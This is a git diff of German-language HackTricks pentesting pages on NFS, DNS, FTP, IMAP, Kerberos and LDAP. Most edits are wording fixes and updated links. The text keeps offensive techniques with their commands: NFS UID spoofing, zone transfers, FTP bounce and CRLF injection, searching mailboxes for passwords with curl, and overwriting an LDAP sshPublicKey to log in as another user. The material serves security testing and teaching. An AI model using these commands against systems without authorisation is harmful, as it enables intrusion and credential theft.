**Authentifizierungs**- oder **Autorisierungsmechanismen**. Stattdessen basiert die Autorisierung auf **Dateisysteminformationen**, wobei der Server dafür verantwortlich ist, die **vom Client bereitgestellten Benutzerinformationen** in das erforderliche **Autorisierungsformat** des Dateisystems genau zu übersetzen, hauptsächlich gemäß der **UNIX-Syntax**. -Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatoren und Gruppenmitgliedschaften**. Ein Problem ergibt sich jedoch aufgrund der möglichen Diskrepanz in den **`UID`/`GID`-Zuordnungen** zwischen Clients und Servern, was keinen Raum für zusätzliche Überprüfungen durch den Server lässt. Folglich ist das Protokoll am besten für die Verwendung innerhalb von **vertrauenswürdigen Netzwerken** geeignet, da es auf dieser Methode der Authentifizierung basiert. +Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatoren und Gruppenmitgliedschaften**. Ein Problem ergibt sich jedoch aufgrund der möglichen Diskrepanz in den **`UID`/`GID`-Zuordnungen** zwischen Clients und Servern, was keinen Raum für zusätzliche Überprüfungen durch den Server lässt. Folglich ist das Protokoll am besten für die Verwendung innerhalb **vertrauenswürdiger Netzwerke** geeignet, da es auf dieser Methode der Authentifizierung basiert. **Standardport**: 2049/TCP/UDP (außer Version 4, es benötigt nur TCP oder UDP). ``` @@ -22,7 +22,7 @@ Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatore - **NFSv4**: Eine wegweisende Version in der NFS-Serie, brachte NFSv4 eine Reihe von Funktionen mit sich, die darauf abzielen, die Dateifreigabe über Netzwerke zu modernisieren. Zu den bemerkenswerten Verbesserungen gehören die Integration von Kerberos für **hohe Sicherheit**, die Fähigkeit, Firewalls zu durchqueren und über das Internet ohne die Notwendigkeit von Portmappern zu arbeiten, Unterstützung für Access Control Lists (ACLs) und die Einführung von zustandsbasierten Operationen. Die Leistungsverbesserungen und die Einführung eines zustandsbehafteten Protokolls heben NFSv4 als einen entscheidenden Fortschritt in der Technologie der Netzwerkdateifreigabe hervor. -Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden, wobei Sicherheit, Kompatibilität und Leistung schrittweise verbessert wurden. +Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden und schrittweise Sicherheit, Kompatibilität und Leistung zu verbessern. ## Enumeration @@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` ### Mounting -Um zu wissen, **welcher Ordner** dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit: +Um zu wissen, **welcher Ordner** auf dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit: ```bash showmount -e ``` @@ -55,7 +55,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` ## Berechtigungen -Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** werden Sie in der Lage sein, auf die Datei/den Ordner zu **zugreifen**. +Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** werden Sie in der Lage sein, auf die Datei/den Ordner zuzugreifen. ## NSFShell @@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/ cd /mnt nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in -https://book.hacktricks.xyz/pentesting/nfs-service-pentesting +https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index e986cc31a..7f6480b79 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -19,9 +19,9 @@ PORT STATE SERVICE REASON - **DNS-Root-Server**: Diese stehen an der Spitze der DNS-Hierarchie, verwalten die Top-Level-Domains und treten nur ein, wenn niedrigere Server nicht antworten. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) überwacht ihren Betrieb, mit einer globalen Anzahl von 13. - **Autorisierte Nameserver**: Diese Server haben das letzte Wort für Anfragen in ihren zugewiesenen Zonen und bieten definitive Antworten. Wenn sie keine Antwort geben können, wird die Anfrage an die Root-Server weitergeleitet. - **Nicht-autorisierte Nameserver**: Diese Server haben keine Eigentumsrechte an DNS-Zonen und sammeln Domaininformationen durch Anfragen an andere Server. -- **Caching-DNS-Server**: Diese Art von Server speichert frühere Abfrageantworten für eine bestimmte Zeit, um die Antwortzeiten für zukünftige Anfragen zu beschleunigen, wobei die Cache-Dauer vom autoritativen Server bestimmt wird. +- **Caching-DNS-Server**: Diese Art von Server speichert frühere Antwortdaten für eine bestimmte Zeit, um die Antwortzeiten für zukünftige Anfragen zu beschleunigen, wobei die Cache-Dauer vom autoritativen Server bestimmt wird. - **Weiterleitungsserver**: Diese Server haben eine einfache Rolle und leiten Anfragen einfach an einen anderen Server weiter. -- **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und gelten nicht als autoritativ. +- **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und werden nicht als autoritativ betrachtet. ## Enumeration @@ -40,7 +40,7 @@ Es ist auch möglich, das Banner mit einem **nmap**-Skript abzurufen: ``` ### **Any record** -Der Datensatz **ANY** fordert den DNS-Server auf, alle verfügbaren **Einträge** zurückzugeben, die **er bereit ist offenzulegen**. +Der Datensatz **ANY** fordert den DNS-Server auf, **alle** verfügbaren **Einträge** zurückzugeben, die **er bereit ist offenzulegen**. ```bash dig any victim.com @ ``` @@ -52,7 +52,7 @@ dig axfr @ #Try zone transfer without domain dig axfr @ #Try zone transfer guessing the domain fierce --domain --dns-servers #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack ``` -### Weitere Informationen +### Mehr Informationen ```bash dig ANY @ #Any information dig A @ #Regular DNS request @@ -150,7 +150,7 @@ dig google.com A @ ![](<../images/image (146).png>) -### E-Mail an nicht existierenden Account +### E-Mail an nicht existierendes Konto **Das Senden einer E-Mail an eine nicht existierende Adresse** unter Verwendung der Domain des Opfers könnte das Opfer dazu bringen, eine Benachrichtigung über nicht zugestellte Nachrichten (NDN) zu senden, deren **Header** interessante Informationen wie die **Namen interner Server und IP-Adressen** enthalten könnten. @@ -196,7 +196,7 @@ SERVER {IP} Domain_Name exit -https://book.hacktricks.xyz/pentesting/pentesting-dns +https://book.hacktricks.wiki/en/todo/pentesting-dns.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 28e520634..724cf62ce 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -5,7 +5,7 @@ ## Grundlegende Informationen Das **File Transfer Protocol (FTP)** dient als Standardprotokoll für den Dateitransfer über ein Computernetzwerk zwischen einem Server und einem Client.\ -Es ist ein **Klartext**-Protokoll, das als **Zeilenumbruchzeichen `0x0d 0x0a`** verwendet wird, daher müssen Sie manchmal **mit `telnet`** oder **`nc -C`** verbinden. +Es ist ein **Plain-Text**-Protokoll, das als **Zeilenumbruchzeichen `0x0d 0x0a`** verwendet, daher müssen Sie manchmal **mit `telnet`** oder **`nc -C`** verbinden. **Standardport:** 21 ``` @@ -18,7 +18,7 @@ In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist passives FTP. -In **Passiv FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv-Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers. +In **Passiv FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers. Quelle: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) @@ -33,7 +33,7 @@ Die **FTP**-Befehle **`debug`** und **`trace`** können verwendet werden, um zu nc -vn 21 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any ``` -### Mit STARTTLS zu FTP verbinden +### Mit StartTLS zu FTP verbinden ``` lftp lftp :~> set ftp:ssl-force true @@ -105,7 +105,7 @@ Hier finden Sie eine schöne Liste mit Standard-FTP-Anmeldeinformationen: [https ### Automatisiert -Anonyme Anmeldungen und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option durchgeführt oder: +Anonyme Anmeldungen und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option oder durchgeführt: ```bash nmap --script ftp-* -p 21 ``` @@ -115,7 +115,7 @@ Sie können sich mit einem FTP-Server über einen Browser (wie Firefox) mit eine ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelt URL-encodierte `%0d%0a` (in doppelt URL-encodiert ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen können, willkürliche Aktionen** auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren. +Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelte URL-Codierung `%0d%0a` (in doppelter URL-Codierung ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen können, willkürliche Aktionen** auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren. ## Alle Dateien vom FTP herunterladen ```bash @@ -135,12 +135,12 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`EPRT |2|127.0.0.1|80|`** Dies weist den FTP-Server an, eine TCP-Verbindung (_angezeigt durch "2"_) mit der IP 127.0.0.1 an Port 80 herzustellen. Dieser Befehl **unterstützt IPv6**. - **`LIST`** Dies sendet die Liste der Dateien im aktuellen Ordner - **`LIST -R`** Liste rekursiv (wenn vom Server erlaubt) -- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in einer Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt. -- **`STOR /path/something.txt`** Wie `APPE`, aber es überschreibt die Dateien +- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in eine Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt. +- **`STOR /path/something.txt`** Wie `APPE`, aber es wird die Datei überschreiben - **`STOU /path/something.txt`** Wie `APPE`, aber wenn sie existiert, wird nichts unternommen. - **`RETR /path/to/file`** Eine passive oder eine Portverbindung muss hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese Verbindung - **`REST 6`** Dies weist den Server an, dass er beim nächsten Mal, wenn er etwas mit `RETR` sendet, im 6. Byte beginnen soll. -- **`TYPE i`** Setzt die Übertragung auf binär +- **`TYPE i`** Setzt die Übertragung auf Binär - **`PASV`** Dies öffnet eine passive Verbindung und zeigt dem Benutzer, wo er sich verbinden kann - **`PUT /tmp/file.txt`** Lädt die angegebene Datei auf den FTP hoch @@ -148,16 +148,16 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ## FTPBounce-Angriff -Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server geöffnet sind. +Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind. [**Hier lernen, wie man einen FTP-Server missbraucht, um Ports zu scannen.**](ftp-bounce-attack.md) Sie könnten dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Sie könnten **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\ Die Theorie ist einfach: -1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen. -2. **Verwenden Sie `REST X`, um zu vermeiden, die Zeichen zu senden, die Sie nicht senden möchten** (vielleicht mussten Sie, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen). -3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden.** +1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen +2. **Verwenden Sie `REST X`, um zu vermeiden, die Zeichen zu senden, die Sie nicht senden möchten** (vielleicht mussten Sie, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen) +3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden** 4. **Verwenden Sie `RETR`, um die gespeicherte Anfrage an den Server zu senden.** Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um dies zu vermeiden, sind: @@ -168,14 +168,14 @@ Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht besch posts.txt {{#endfile}} -- Versuchen Sie, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn Sie mit FTP sprechen, vielleicht nur Junk-Befehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten). -- Füllen Sie die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**. +- Versuchen Sie, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn Sie mit FTP sprechen, vielleicht nur Junk-Befehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten) +- Füllen Sie die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)** Wie auch immer, hier haben Sie ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md) ## Filezilla-Server-Sicherheitsanfälligkeit -**FileZilla** bindet normalerweise einen **administrativen Dienst** für den **FileZilla-Server** (Port 14147) an **lokal**. Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen. +**FileZilla** bindet normalerweise **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen. ## Konfigurationsdateien ``` @@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59' wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98' if PASV transfer is disabled -https://book.hacktricks.xyz/pentesting/pentesting-ftp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index 4db176f9d..4da47fbae 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -4,7 +4,7 @@ ## Internet Message Access Protocol -Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort aus zuzugreifen**, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät. +Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort aus** zuzugreifen, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** aus zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät. Standardmäßig funktioniert das IMAP-Protokoll über zwei Ports: @@ -14,7 +14,7 @@ Standardmäßig funktioniert das IMAP-Protokoll über zwei Ports: PORT STATE SERVICE REASON 143/tcp open imap syn-ack ``` -## Banner-Grabbing +## Banner grabbing ```bash nc -nv 143 openssl s_client -connect :993 -quiet @@ -36,7 +36,7 @@ Oder **automatisieren** Sie dies mit dem **nmap**-Plugin `imap-ntlm-info.nse` ## Syntax -Beispiele für IMAP-Befehle von [hier](https://donsutherland.org/crib/imap): +IMAP-Befehlsbeispiele von [hier](https://donsutherland.org/crib/imap): ``` Login A1 LOGIN username password @@ -103,7 +103,7 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass ``` Das Ergebnis dieser Suche ist eine Liste von Nachrichtenindizes. -Es ist auch möglich, komplexere Suchbegriffe anzugeben. z.B. nach Entwürfen mit Passwort im Nachrichteninhalt suchen: +Es ist auch möglich, komplexere Suchbegriffe anzugeben. z.B. nach Entwürfen mit Passwort im Mailinhalt suchen: ```bash curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` @@ -115,12 +115,12 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` Der Mail-Index wird derselbe Index sein, der aus der Suchoperation zurückgegeben wird. -Es ist auch möglich, `UID` (eindeutige ID) zu verwenden, um auf Nachrichten zuzugreifen, jedoch ist es weniger praktisch, da der Suchbefehl manuell formatiert werden muss. Z.B. +Es ist auch möglich, `UID` (eindeutige ID) zu verwenden, um auf Nachrichten zuzugreifen, jedoch ist es weniger praktisch, da der Suchbefehl manuell formatiert werden muss. Zum Beispiel ```bash curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass ``` -Es ist auch möglich, nur Teile einer Nachricht herunterzuladen, z. B. Betreff und Absender der ersten 5 Nachrichten (das `-v` ist erforderlich, um den Betreff und den Absender anzuzeigen): +Es ist auch möglich, nur Teile einer Nachricht herunterzuladen, z.B. Betreff und Absender der ersten 5 Nachrichten (das `-v` ist erforderlich, um den Betreff und den Absender anzuzeigen): ```bash $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' ``` @@ -148,7 +148,7 @@ Description: Notes for WHOIS Note: | The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used. -https://book.hacktricks.xyz/pentesting/pentesting-imap +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 42853d5fc..3a0ac5f4b 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -31,7 +31,7 @@ Der MS14-068-Fehler ermöglicht es einem Angreifer, das Kerberos-Login-Token ein https://adsecurity.org/?p=541 {{#endref}} -Weitere Exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) +Andere Exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) ## HackTricks Automatische Befehle ``` @@ -46,7 +46,7 @@ Note: | Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks. In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process. -https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88 +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html Entry_2: Name: Pre-Creds diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index fddc207af..40a851cc3 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -6,9 +6,9 @@ Die Verwendung von **LDAP** (Lightweight Directory Access Protocol) dient haupts LDAP-Verzeichnisse sind so strukturiert, dass sie über mehrere Server verteilt werden können, wobei jeder Server eine **replizierte** und **synchronisierte** Version des Verzeichnisses beherbergt, die als Directory System Agent (DSA) bezeichnet wird. Die Verantwortung für die Bearbeitung von Anfragen liegt vollständig beim LDAP-Server, der bei Bedarf mit anderen DSAs kommunizieren kann, um eine einheitliche Antwort an den Anforderer zu liefern. -Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Wurzelverzeichnis an der Spitze beginnt**. Diese verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern. +Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Wurzelverzeichnis an der Spitze beginnt**. Dies verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern. -**Standardport:** 389 und 636(ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar. +**Standardport:** 389 und 636 (ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack @@ -16,7 +16,7 @@ PORT STATE SERVICE REASON ``` ### LDAP-Daten-Austauschformat -LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen darstellen (Hinzufügen, Ändern, Löschen, Umbenennen). +LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen (Hinzufügen, Ändern, Löschen, Umbenennen) darstellen. ```bash dn: dc=local dc: local @@ -45,14 +45,14 @@ ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` -- Zeilen 1-3 definieren die Top-Level-Domain local -- Zeilen 5-8 definieren die First-Level-Domain moneycorp (moneycorp.local) +- Zeilen 1-3 definieren die oberste Domäne local +- Zeilen 5-8 definieren die erste Ebene der Domäne moneycorp (moneycorp.local) - Zeilen 10-16 definieren 2 organisatorische Einheiten: dev und sales -- Zeilen 18-26 erstellen ein Objekt der Domain und weisen Attribute mit Werten zu +- Zeilen 18-26 erstellen ein Objekt der Domäne und weisen Attribute mit Werten zu ## Daten schreiben -Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich zum Beispiel vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel aus LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**. +Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich zum Beispiel vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel von LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -66,7 +66,7 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' ``` ## Sniff clear text credentials -Wenn LDAP ohne SSL verwendet wird, können Sie **Anmeldeinformationen im Klartext** im Netzwerk **sniffen**. +Wenn LDAP ohne SSL verwendet wird, können Sie **Anmeldeinformationen im Klartext** im Netzwerk sniffen. Außerdem können Sie einen **MITM**-Angriff im Netzwerk **zwischen dem LDAP-Server und dem Client** durchführen. Hier können Sie einen **Downgrade-Angriff** durchführen, sodass der Client die **Anmeldeinformationen im Klartext** zur Anmeldung verwendet. @@ -82,14 +82,14 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonyme Bindings -[LDAP anonyme Bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) ermöglichen **unauthentifizierten Angreifern** den Zugriff auf Informationen aus der Domäne, wie z.B. eine vollständige Liste von Benutzern, Gruppen, Computern, Benutzerkontenattributen und der Passwortrichtlinie der Domäne. Dies ist eine **veraltete Konfiguration**, und seit Windows Server 2003 dürfen nur authentifizierte Benutzer LDAP-Anfragen initiieren.\ +[LDAP anonyme Bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) ermöglichen **unauthentifizierten Angreifern**, Informationen aus der Domäne abzurufen, wie z.B. eine vollständige Liste von Benutzern, Gruppen, Computern, Benutzerkontenattributen und der Passwortrichtlinie der Domäne. Dies ist eine **veraltete Konfiguration**, und seit Windows Server 2003 dürfen nur authentifizierte Benutzer LDAP-Anfragen initiieren.\ Allerdings mussten Administratoren möglicherweise **eine bestimmte Anwendung einrichten, um anonyme Bindings zuzulassen** und haben mehr Zugriff gewährt als beabsichtigt, wodurch unauthentifizierte Benutzer Zugriff auf alle Objekte in AD erhalten. ## Gültige Anmeldeinformationen -Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domain Admin mit folgendem Befehl abrufen: +Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domain Admin mit: -[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) +[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) dumpen. ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] @@ -100,7 +100,7 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty ### Automatisiert -Mit diesem können Sie die **öffentlichen Informationen** (wie den Domänennamen)**:** +Mit diesem können Sie die **öffentlichen Informationen** (wie den Domainnamen)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` 